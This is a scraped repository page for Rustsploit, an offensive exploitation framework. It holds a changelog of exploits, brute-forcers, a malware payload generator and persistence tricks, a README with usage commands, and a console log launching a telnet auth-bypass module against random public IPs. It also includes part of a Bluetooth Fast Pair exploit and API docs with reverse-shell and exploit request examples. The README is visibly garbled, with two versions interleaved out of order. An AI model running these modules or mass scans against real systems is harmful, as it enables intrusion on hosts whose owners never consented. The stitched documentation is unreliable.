added added new version of payloadgen
added smtp bruteforcer
added pop3 bruteforcer
added zte zte_zxv10_h201l_rce_authenticationbypass
added ivanti ivanti_connect_secure_stack_based_buffer_overflow
added apache_tomcat cve_2025_24813_apache_tomcat_rce
added apache_tomcat catkiller_cve_2025_31650
added palto_alto CVE-2025-0108. auth bypass
added acm_5611_rce
added zabbix_7_0_0_sql_injection
added cve_2024_7029_avtech_camera
added pachev_ftp_path_traversal_1_0
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
added ftps support
added ipv6 support to ftp anon and brute
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
bomb Persistence create SSH user | Remote Root Shell
added spotube exploit zero day exploit as of 24 april reported to spotube
added exploit tplink_wr740n Buffer Overflow 'DOS'
added exploit tp_link_vn020 Denial Of Service (DOS)
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
added exploit uniview_nvr_pwd_disclosure password disclore
updated docs again and readme
rework command system to automaticly detect new modules
added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added find command
updated docs
created docs
added wordlist for camera paths
added acti camera module
created bat payload generator for malware
added proxy support https/http socks4/socks5
telnet brute forcing module
ssh brute forcing module
ftp anonymous login module
ftp brute forcing module
added rtsp_bruteforce module
dynamic modules listing and colored listing
```
---
```
## 🚀 Building & Running
## 📦🛠️ requirements
`
sudo apt update
sudo apt install freerdp2-x11
for rdp bruteforce modudle
> **Latest release:** see [`RELEASE_NOTES.txt`](RELEASE_NOTES.txt) — official `rmcp` MCP SDK, Recog + JARM/JA3/JA3S fingerprinting, a SecLists wordlist catalog, per-run output auto-save, HTTP connection pooling, and mass-scan fixes.
```
```
### 📦 Clone the Repository
![Rustsploit Interactive Shell Demo](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
```
### 🛠️ Build the Project
```
cargo build
```
To build and run:
```
cargo run
```
To install:
```
cargo install
```
![Rustsploit Testing View](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
---
### 🖥️ Run in Interactive Shell Mode
## 📖 Wiki & Documentation
Launch the interactive RSF shell:
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
```
cargo run
```
Once inside the shell:
```text
rsf> help
rsf> modules
rsf> show_proxies
rsf> proxy_on / proxy_off
rsf> proxy_load proxies.txt
rsf> find
rsf> use exploits/heartbleed
rsf> set target 192.168.1.1
rsf> run
```
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
| Document | Description |
|----------|-------------|
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
| [API Server](docs/API-Server.md) | REST + WebSocket API, PQ encryption, endpoints, rate limiting |
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
| [Bad Patterns Catalogue](docs/BAD_PATTERNS.md) | 133-regex `grep` matrix every module must pass — banned `.unwrap`, swallow, panic, blocking-IO, lossy casts, crypto, injection, etc. Re-runnable via `scripts/audit-bad-patterns.sh` |
| [Bad Patterns Audit Report](docs/audit-report.md) | Latest whole-tree snapshot — strict-mode result on the 100 authored modules (zero hits) and observational counts on the rest of the framework |
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
| [Changelog](docs/Changelog.md) | Release notes and version history |
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
---
### 🔧 Run in CLI Mode
## Highlights
#### ▶ Exploit
```
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
#### 🧪 Scanner
```
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
```
#### 🔐 Credentials
```
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
- **Self-registering modules:** modules register at compile time via the `inventory` crate — add the file, a `register_native_module!` call, and a `pub mod <name>;` line in the parent `mod.rs`; no build-script indexer
- **Interactive shell:** 40+ commands with shortcuts, command chaining (`&`), tab completion, and command history
- **Module metadata:** `info()` per module — CVE references, author, rank. The framework is exploitation-only: modules run an exploit and report findings (there is no `check()` / non-destructive verification phase)
- **Global options (`setg`):** Persistent key-value settings that apply across all modules — like Metasploit's datastore
- **Credential store:** Track discovered credentials across sessions with `creds` commands and JSON persistence
- **Host/service tracking:** Workspace-based engagement tracking with `hosts`, `services`, `notes` commands
- **Loot management:** Structured evidence collection with file storage and metadata indexing
- **Resource scripts:** Automate workflows from files, auto-load startup scripts, save command history with `makerc`
- **Background jobs:** Run modules asynchronously with `run -j`, manage with `jobs` commands
- **Export/reporting:** Export all engagement data to JSON, CSV, or human-readable summary reports
- **Console logging & auto-save:** `spool` captures all output to a file on demand; in addition, **every console/CLI module run is auto-saved** (append mode) to `~/.rustsploit/loot/<module> <time> results.txt` — stdout and stderr both captured, multi-host sweeps accumulate into one per-run file
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, IMAP, RDP, RTSP, SNMP, L2TP, MQTT, VNC, MySQL, PostgreSQL, Redis, CouchDB, Elasticsearch, Memcached, HTTP Basic, Proxy, Fortinet — with IPv6 and TLS support
- **Exploit coverage:** CVEs for VNC (LibVNC, TigerVNC, TightVNC, x11vnc), honeypots (Cowrie, Dionaea, HoneyTrap, SNARE), WAFs (SafeLine), Apache Camel, Kubernetes ingress-nginx, Commvault, MISP, Zimbra, Next.js, Vite, and 100+ more
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer, proxy scanner, reflect scanner, vulnerability checker
- **Service & TLS fingerprinting:** Rapid7 **Recog** banner → product/version/CPE matching folded into service detection, plus Salesforce **JARM** + **JA3/JA3S** active TLS server fingerprinting (`scanners/jarm_scan`)
- **Wordlist catalog:** checksum-pinned **SecLists** wordlists fetched + SHA-256-verified on demand into `~/.rustsploit/wordlists/` (`utils::wordlist::resolve`)
- **Performance:** shared, cached HTTP client — TLS config + connection pool reused across runs instead of rebuilt per request, with a bounded idle timeout for internet-scale sweeps
- **API server:** PQ-encrypted WebSocket transport — post-quantum cryptography, full CRUD for credentials, hosts, services, loot, jobs
- **MCP server:** Model Context Protocol server on the **official `rmcp` SDK (v1.7)** — 29 tools + 7 resources for AI-assisted pentesting via stdio
- **Plugin system:** Third-party modules via `src/modules/plugins/` with compile-time `inventory` self-registration and startup safety warnings
- **Security hardened:** Input validation, path traversal protection, honeypot detection, root privilege checks, spool symlink protection, memory-safe operations
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
---
## 🌐 Proxy Retry Logic (Shell Mode)
## Quick Start
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
- On failure, tries another until successful
- If all fail, it runs once **without proxy**
**One command** (Debian/Ubuntu/Kali):
---
## 📂 Module System
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
- Full: `scanners/port_scanner`
Each module must define:
```bash
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake && (command -v cargo > /dev/null 2>&1 || (curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && . "$HOME/.cargo/env")) && git clone https://github.com/s-b-repo/rustsploit.git && cd rustsploit && cargo run
```
pub async fn run(target: &str) -> Result<()>
## How to turn Bluetooth OFF (e.g. on FreeBSD without Bluetooth hardware):
```
cargo build --no-default-features
```
## or
```
cargo run --no-default-features
```
## How to turn Bluetooth ON
```
cargo build --features bluetooth
```
## or
```
cargo run --features bluetooth
```
Optional:
```
pub async fn run_interactive(target: &str) -> Result<()>
<details>
<summary>What each dependency does</summary>
| Package | Required by | Why |
|---------|------------|-----|
| `build-essential` | Native crate compilation | gcc, make, libc headers |
| `pkg-config` | `native-tls`, `ssh2` | Finds system libraries at build time |
| `libssl-dev` | `native-tls`, `ssh2` | OpenSSL headers for TLS and SSH |
| `libdbus-1-dev` | `btleplug` | D-Bus IPC for Bluetooth scanning |
| `cmake` | `ssh2` (libssh2-sys) | Builds libssh2 from source |
</details>
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
---
## Quick Navigation
- **New user?** → [Getting Started](docs/Getting-Started.md)
- **Writing a module?** → [Module Development](docs/Module-Development.md)
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
---
## API server quick start
The PQ-encrypted API is what external integrations and web panels talk to.
Bind it to whichever interface you want — the bootstrap path is gated by a
one-time enrollment token printed at startup, **not** by the bind address.
```bash
# Local-only (default, useful for development)
cargo run --release -- --api
# Reachable on a LAN
cargo run --release -- --api --interface 192.0.2.10:8080
# Reachable from anywhere (bind to all interfaces)
cargo run --release -- --api --interface 0.0.0.0:8080
```
---
On startup the server prints something like:
## 🧼 Shell State
```
═══════════════════════════════════════════════════════════════
ENROLLMENT TOKEN (one-time, prints once): tWQ9sIz3kZGdHc4w7g8hPxJrAaPN1c0v
Bootstrap a client by POSTing its PQ public keys + this
token to POST /pq/register-key:
{ token, name, x25519_pub, mlkem_ek }
After first successful registration the token is consumed; further
key changes must go through the established PQ session.
═══════════════════════════════════════════════════════════════
```
The shell keeps:
- Current module
- Current target
- Proxy list + state
Hand that token to whichever client you want to enroll. The client POSTs
its X25519 + ML-KEM-768 public keys to `/pq/register-key` over the
network — no shared filesystem required, client and server can be on
different hosts. The token is consumed on first use; restart the server
to issue a new one.
No session state is saved — everything resets on restart.
Endpoints exposed by `--api`:
| Path | Auth | Purpose |
|------|------|---------|
| `GET /health` | none | Liveness |
| `POST /pq/handshake` | identity allowlist | PQXDH session establishment |
| `POST /pq/register-key` | enrollment token (one-time) | Bootstrap a new client identity |
| `GET /pq/ws` | PQ session | Bi-directional event/RPC channel |
| `ALL /api/*` | PQ session | REST surface (auto-generated from JSON-RPC dispatcher) |
---
## 💡 Want to Add a Module?
## Private Internet Recommendations
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
---
## 👥 Contributors
## Contributing
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
## 👥 Credits
- **wordlists*: seclists & me
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
1. Fork + branch from `main`
2. Add your module under the appropriate category
3. Run `cargo fmt` and `cargo check` before opening a PR
---
## Credits
- **Project Lead:** s-b-repo
- **Language:** 100% Rust
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
---
<details>
<summary><sub>Support this project</sub></summary>
<p align="center"><br/>
If this tool saved you time, consider tossing $1 in Monero:<br/><br/>
<code>478Lb78LDscQ8ukEDTZqXgEtjoBX1jMuVGvgfy2RagxZZk89YuyVYsganfLUKnwggz8YiBxhG25yWWiHUppG9uarSiseseY</code><br/><br/>
<sub>XMR — private, untraceable, appreciated.</sub>
</p>
</details>
+22
View File
@@ -0,0 +1,22 @@
rsf> use exploits/telnet/telnet_auth_bypass_cve_2026_24061
Module 'exploits/telnet/telnet_auth_bypass_cve_2026_24061' selected.
rsf> t 0.0.0.0
Target set to: 0.0.0.0
rsf> run
[*] Using target: 0.0.0.0
Running module 'exploits/telnet/telnet_auth_bypass_cve_2026_24061' against target '0.0.0.0'
[*] Random mass scan — running 'Telnet Authentication Bypass CVE-2026-24061' against random public IPs (Ctrl+C to stop)
[*] Will scan up to 10000 random hosts with concurrency 2
[*] Progress: 1 processed | 0 ok | 0 err | 0 skipped
-96
View File
@@ -1,96 +0,0 @@
use std::env;
use std::fs::{self, File};
use std::io::{Read, Write};
use std::path::Path;
use regex::Regex;
fn main() {
println!("cargo:rerun-if-changed=src/modules/exploits");
println!("cargo:rerun-if-changed=src/modules/creds");
println!("cargo:rerun-if-changed=src/modules/scanners");
generate_dispatch(
"src/modules/exploits",
"exploit_dispatch.rs",
"crate::modules::exploits"
);
generate_dispatch(
"src/modules/creds",
"creds_dispatch.rs",
"crate::modules::creds"
);
generate_dispatch(
"src/modules/scanners",
"scanner_dispatch.rs",
"crate::modules::scanners"
);
}
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join(out_file);
let mut file = File::create(&dest_path).unwrap();
let root_path = Path::new(root);
let mut mappings = Vec::new();
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
writeln!(
file,
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
k = key,
m = mod_path.replace("/", "::"),
p = mod_prefix
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
} else {
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
}
}
}
}
Ok(())
}
+100
View File
@@ -0,0 +1,100 @@
# --- Constants ---
return fmt_mac(chunk)
return None
async def exploit_device(self, address, strategy_index=None, log_callback=None):
def log(msg, type="info"):
if log_callback: log_callback(msg, type)
else: print(msg)
log(f"Starting Multi-Strategy Exploit on {address}...", "info")
try:
async with BleakClient(address, timeout=20.0) as client:
log(f"Connected. Auth: {client.is_connected}", "success")
# Service Discovery
service = client.services.get_service(FAST_PAIR_UUID)
if not service:
for s in client.services:
if "fe2c" in str(s.uuid).lower():
service = s
break
if not service:
log("Fast Pair Service not found.", "error")
return False
# Model ID & Quirks
quirks = {"delay_before_kbp": 0, "delay_before_account_key": 0.5, "prefers_br_edr": True}
model_char = service.get_characteristic(MODEL_ID_UUID)
if model_char:
try:
mid_bytes = await client.read_gatt_char(model_char)
quirks = self._parse_model_id(mid_bytes)
log(f"Model ID: {mid_bytes.hex().upper()} (Quirks applied)", "info")
except:
log("Could not read Model ID, using defaults.", "info")
# KBP Characteristic
kbp_char = service.get_characteristic(KBP_CHAR_UUID)
if not kbp_char:
log("KBP Characteristic not found.", "error")
return False
# Apply Quirk Delay
if quirks["delay_before_kbp"] > 0:
await asyncio.sleep(quirks["delay_before_kbp"])
# Response Handling
response_event = asyncio.Event()
parsed_address = None
def notification_handler(sender, data):
nonlocal parsed_address
# Use robust parser
found = self._parse_kbp_response(data, current_secret)
if found:
parsed_address = found
log(f"Response Parsed! Real Address: {parsed_address}", "success")
else:
log(f"Response received but could not parse MAC (len={len(data)})", "warning")
response_event.set()
await client.start_notify(kbp_char, notification_handler)
# Strategy Selection
strategies_to_try = []
if strategy_index is not None:
try:
strategies_to_try.append(EXPLOIT_STRATEGIES[int(strategy_index)])
except (ValueError, IndexError):
log(f"Invalid strategy index: {strategy_index}. Available: {list(enumerate(EXPLOIT_STRATEGIES))}", "error")
return False
else:
strategies_to_try = EXPLOIT_STRATEGIES
# CRITICAL FIX: Use the actual target device address as the Provider Address
# The device checks this to ensure the packet is meant for it.
try:
# Convert MAC string "AA:BB:..." to bytes
provider_addr = bytes(int(x, 16) for x in address.split(":"))
except ValueError:
log("Invalid MAC address format. Using dummy provider address.", "warning")
provider_addr = bytes([0xAA, 0xBB, 0xCC, 0x11, 0x22, 0x33])
# Randomize Seeker Address for every attempt to evade caching/blocking
seeker_addr = secrets.token_bytes(6)
log(f"Target (Provider) Address: {address}", "info")
log(f"Strategies to try: {strategies_to_try}", "info")
success_strategy = None
current_secret = None
write_accepted_but_no_response = False
for strat in strategies_to_try:
log(f"Trying Strategy: {strat}...", "info")
packet, secret = self._build_kbp_packet(strat, provider_addr, seeker_addr)
current_secret = secret # For notification handler
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+361
View File
@@ -0,0 +1,361 @@
# API Server
Rustsploit includes a built-in API server (`src/api.rs`, `src/ws.rs`) with post-quantum encrypted WebSocket transport and SSH-style identity key authentication. No TLS. No API keys.
---
## Starting the API Server
```bash
# Basic — auto-generates host key on first run
cargo run -- --api
# Custom bind address
cargo run -- --api --interface 0.0.0.0:9000
# Custom key paths
cargo run -- --api --pq-host-key /path/to/host_key --pq-authorized-keys /path/to/authorized_keys
```
On first run, the server generates a PQ host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint:
```
🔑 Host key fingerprint: PQ256:a1b2c3d4e5f6...
```
---
## API Flags
| Flag | Description | Required |
|------|-------------|----------|
| `--api` | Enable API server mode | Yes |
| `--interface <addr:port>` | Bind address (default: `127.0.0.1:8080`) | No |
| `--pq-host-key <path>` | PQ host key file (default: `~/.rustsploit/pq_host_key`) | No |
| `--pq-authorized-keys <path>` | Authorized client keys (default: `~/.rustsploit/pq_authorized_keys`) | No |
---
## Authentication — Post-Quantum Identity Keys
Authentication uses SSH-style public/private key pairs with post-quantum cryptography. No API keys or Bearer tokens.
### How it works
1. **Server** has a host key pair (ML-KEM-768 + X25519) stored at `~/.rustsploit/pq_host_key`
2. **Client** has its own identity key pair (ML-KEM-768 + X25519), persisted however the client sees fit (e.g. encrypted at rest in a database, in a keychain, or on disk)
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys` — populated via the one-time `POST /pq/register-key` flow at first contact, or by hand-editing the file
4. On first connection, client and server perform a **mutual authentication handshake** at `POST /pq/handshake`
5. Both sides prove key ownership via DH proof-of-possession
6. Session keys are derived from 3 shared secrets: ephemeral X25519 DH + identity X25519 DH + ML-KEM-768
7. All subsequent API traffic is encrypted with ChaCha20-Poly1305 via a Double Ratchet (forward secrecy)
### Authorized keys format
`~/.rustsploit/pq_authorized_keys` — one JSON object per line:
```json
{"name":"acme-tenant","x25519_pub":"base64...","mlkem_ek":"base64..."}
{"name":"redteam","x25519_pub":"base64...","mlkem_ek":"base64..."}
```
### Security properties
| Property | Mechanism |
|----------|-----------|
| Quantum resistance | ML-KEM-768 (NIST FIPS 203, Level 3) |
| Classical resistance | X25519 hybrid (both must be broken) |
| Forward secrecy | Double Ratchet with periodic DH re-keying |
| Mutual authentication | Both sides prove identity key ownership |
| Replay protection | Monotonic epoch counter + unique nonces |
| Tampering detection | ChaCha20-Poly1305 AEAD with AAD |
---
## Endpoints
### Public (no PQ session needed)
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/health` | Health check |
| `POST` | `/pq/handshake` | Establish PQ-encrypted session (mutual auth) |
| `POST` | `/pq/register-key` | Enroll a client public key using the one-time enrollment token |
| `GET` | `/pq/ws` | Upgrade to PQ-encrypted WebSocket transport |
### Protected (require active PQ session)
**Modules**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/modules` | List all available modules by category |
| `GET` | `/api/modules/search?q=<keyword>` | Search modules by keyword |
| `GET` | `/api/module/{category}/{name}` | Get module info/metadata |
| `POST` | `/api/run` | Execute a module against a target |
**Check**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/check` | Run a module's non-destructive vulnerability check |
| `POST` | `/api/run/all` (alias `POST /api/run_all`) | Run the selected module against all stored hosts |
**Shell**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/shell` | **Disabled** — returns `501 NOT_IMPLEMENTED`. Use the individual RPC endpoints (`/api/run`, `/api/target`, `/api/check`, …) instead. |
**Target**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/target` | Get current global target |
| `POST` | `/api/target` | Set global target |
| `DELETE` | `/api/target` | Clear global target |
**Honeypot Detection**
| Method | Path | Description |
|--------|------|-------------|
| `POST` | `/api/honeypot-check` | Check if target is a honeypot |
**Results**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/results` | List saved result files |
| `GET` | `/api/results/{filename}` | Download a result file |
**Global Options**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/options` | List all global options (`setg` values) |
| `POST` | `/api/options` | Set a global option |
| `DELETE` | `/api/options` | Delete a global option |
**Credential Store**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/creds` | List stored credentials |
| `POST` | `/api/creds` | Add a credential manually |
| `DELETE` | `/api/creds` | Delete a credential by ID |
**Workspace / Hosts / Services**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/hosts` | List tracked hosts |
| `POST` | `/api/hosts` | Add a host (IP, hostname, OS guess) |
| `GET` | `/api/services` | List discovered services |
| `POST` | `/api/services` | Add a service (host, port, protocol, name) |
| `GET` | `/api/workspace` | Get current workspace name/data |
| `POST` | `/api/workspace` | Switch to a different workspace |
**Loot**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/loot` | List collected loot items |
| `POST` | `/api/loot` | Add loot (host, type, description, data) |
**Jobs**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/jobs` | List background jobs |
| `DELETE` | `/api/jobs/{id}` | Kill a background job by ID |
**Export**
| Method | Path | Description |
|--------|------|-------------|
| `GET` | `/api/export?format=<json\|csv\|summary>` | Export engagement data |
> **Note:** Non-destructive vulnerability checks use the dedicated `POST /api/check` endpoint (a module and target must be set). The `POST /api/shell` endpoint is **disabled** and returns `501 NOT_IMPLEMENTED`.
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
> The route table above lists the most commonly used endpoints. The dispatcher (`src/api.rs`) also exposes additional sub-routes such as `GET /api/modules/enriched`, `GET /api/creds/search`, `POST /api/creds/clear`, `POST /api/hosts/notes`, `POST /api/hosts/clear`, `POST /api/loot/clear`, `GET /api/workspaces`, `POST /api/jobs/limit`, `GET /api/jobs/{id}`, and `GET`/`POST /api/spool`. Treat `src/api.rs` as the source of truth for the full route set.
### WebSocket Transport
`GET /pq/ws` upgrades the connection to a PQ-encrypted WebSocket. After the initial `/pq/handshake`, clients can switch to WebSocket for persistent bidirectional communication.
**Features:**
- PQ-encrypted frames using ChaCha20-Poly1305 (same security as REST)
- Max 100 concurrent WebSocket connections
- 30-second heartbeat interval
- 1 MiB max frame size
- Sub-session key derivation from the PQ handshake session
**Headers required:**
- `X-PQ-Session-Id` — session ID from `/pq/handshake`
- Standard WebSocket upgrade headers
WebSocket messages use the same JSON request/response format as REST endpoints. The WebSocket transport is ideal for long-running operations, real-time job monitoring, and persistent client connections.
---
### Shell Command Endpoint (disabled)
`POST /api/shell` is **not implemented** and returns `501 NOT_IMPLEMENTED`. A
generic "run any shell command" endpoint is intentionally withheld until an ACL
design lands. Use the dedicated RPC endpoints instead:
| Want to… | Use |
|----------|-----|
| Select / inspect a module | `GET /api/modules`, `GET /api/module/{category}/{name}` |
| Set / clear the target | `POST` / `DELETE /api/target` |
| Run a module | `POST /api/run` (or `POST /api/run/all` for all stored hosts) |
| Run a non-destructive check | `POST /api/check` |
| Read / write global options | `GET` / `POST` / `DELETE /api/options` |
| Manage creds / hosts / services / loot | the corresponding `/api/creds`, `/api/hosts`, `/api/services`, `/api/loot` routes |
---
## Security Features
### Input Validation
| Check | Detail |
|-------|--------|
| Request body limit | Max 2 MiB (`DefaultBodyLimit`, prevents DoS) |
| Target validation | Length check, control char rejection, path traversal prevention |
| SSRF target filtering | Targets resolving to loopback/RFC1918/link-local/CGNAT/cloud-metadata ranges are rejected (`is_blocked_target` / `resolve_and_check` in `src/api.rs`) |
| Module path sanitization | Validated against injection and traversal attacks |
> There is no API-key mechanism. Authentication is performed by the
> post-quantum mutual handshake (enrollment token + client public key), not by
> a bearer key.
### Access Control
Access is gated by the PQ handshake: a client must complete `/pq/handshake`
with an authorized key (bootstrapped via an enrollment token) before any
`/api/*` route is reachable. There is **no** `ip_whitelist.conf` file or
IP-allowlist mechanism.
### Rate Limiting
The only rate limiter is on the PQ handshake endpoint (`src/pq_middleware.rs`):
- **10 handshake attempts per 60-second sliding window, per source IP.**
- Over-limit handshakes are rejected; timestamps older than the window are pruned automatically.
There is no general per-request-per-second limit and no failed-auth lockout on the `/api/*` routes themselves.
### Post-Quantum Host Key
The server generates an ML-KEM-768 + X25519 host key pair on first run at `~/.rustsploit/pq_host_key`. This is the server's permanent identity — like an SSH host key. The fingerprint is displayed on startup and should be verified by clients on first connection to prevent MITM attacks.
---
## Logging
All activity is logged to:
- **Terminal** — real-time colored output
- **`rustsploit_api.log`** — in the current working directory
Logged events include:
- API requests and responses
- Authentication failures and rate limit triggers
- IP tracking and hardening actions
- Key rotation events
- Module execution results
- Resource cleanup operations
---
## Module Prompts (API Mode)
All modules (exploits, scanners, and creds) support a `prompts` field in the
`/api/run` request body. This field is a JSON object of key→value pairs that
pre-fill interactive prompts so modules run non-interactively via the API.
### How It Works
1. Modules use `cfg_prompt_*()` functions that check `prompts` first
2. If a key is not found in `prompts`, global options (set via `setg` or
`POST /api/options`) are checked next
3. If a key is present in either source, its value is used instead of prompting stdin
4. If a key is missing in API mode, the default value is used (or an error is
returned for required prompts)
5. Boolean prompts accept: `y`/`n`/`yes`/`no`/`true`/`false`/`1`/`0`
### Common Prompt Keys
| Key | Type | Used By | Description |
|-----|------|---------|-------------|
| `port` | u16 | Most modules | Target service port |
| `target` | string | Some modules | Override target when empty |
| `command` | string | RCE exploits | Command to execute |
| `username` | string | Auth exploits/creds | Username or login |
| `password` | string | Auth exploits/creds | Password or credential |
| `mode` | string | Multi-mode modules | Select operation mode (1, 2, 3…) |
| `concurrency` | int | Scanners/creds | Max concurrent tasks |
| `output_file` | string | Modules with save | Output filename |
| `save_results` | y/n | Creds/scanners | Save results to file |
| `verbose` | y/n | Many modules | Verbose output |
| `skip_ssl` | y/n | Web exploits | Skip SSL verification |
| `proceed` | y/n | Dangerous exploits | Confirm execution |
| `lhost` | string | Reverse shell | Attacker listener IP |
| `lport` | string | Reverse shell | Attacker listener port |
| `username_wordlist` | path | Creds modules | Path to username wordlist |
| `password_wordlist` | path | Creds modules | Path to password wordlist |
| `stop_on_success` | y/n | Creds modules | Stop on first valid credential |
| `combo_mode` | y/n | Creds modules | user×pass combination mode |
### Example: Exploit Module via API
```json
{
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
"target": "192.168.1.1",
"prompts": {
"username": "admin",
"password": "admin123",
"command": "id"
}
}
```
### Example: Credential Module via API
```json
{
"module": "creds/generic/ftp_bruteforce",
"target": "10.10.10.10",
"prompts": {
"port": "21",
"username_wordlist": "/opt/wordlists/users.txt",
"password_wordlist": "/opt/wordlists/passwords.txt",
"concurrency": "500",
"stop_on_success": "y",
"save_results": "y",
"output_file": "ftp_results.txt",
"verbose": "n",
"combo_mode": "n"
}
}
```
### Example: Database Bruteforce via API
```json
{
"module": "creds/generic/mysql_bruteforce",
"target": "10.10.10.10",
"prompts": {
"port": "3306",
"use_defaults": "y",
"username_wordlist": "/opt/wordlists/users.txt",
"password_wordlist": "/opt/wordlists/passwords.txt",
"concurrency": "20",
"stop_on_success": "y",
"save_results": "y",
"output_file": "mysql_results.txt"
}
}
```
+448
View File
@@ -0,0 +1,448 @@
# API Usage Examples
Practical workflows for interacting with the Rustsploit WebSocket API.
> Start the server first: `cargo run -- --api`
>
> **Note:** All API endpoints (except `/health`) require a PQ WebSocket session. The examples below show the JSON message format sent over the WebSocket connection — not direct HTTP requests. Authentication is via PQ identity keys established during the handshake. The `Authorization: Bearer` headers shown are **legacy placeholders** retained for readability — they are not used.
---
## Health Check (No Auth)
```bash
curl http://localhost:8080/health
```
**Response:**
```json
{"status": "ok", "timestamp": "2026-03-17T14:00:00Z"}
```
---
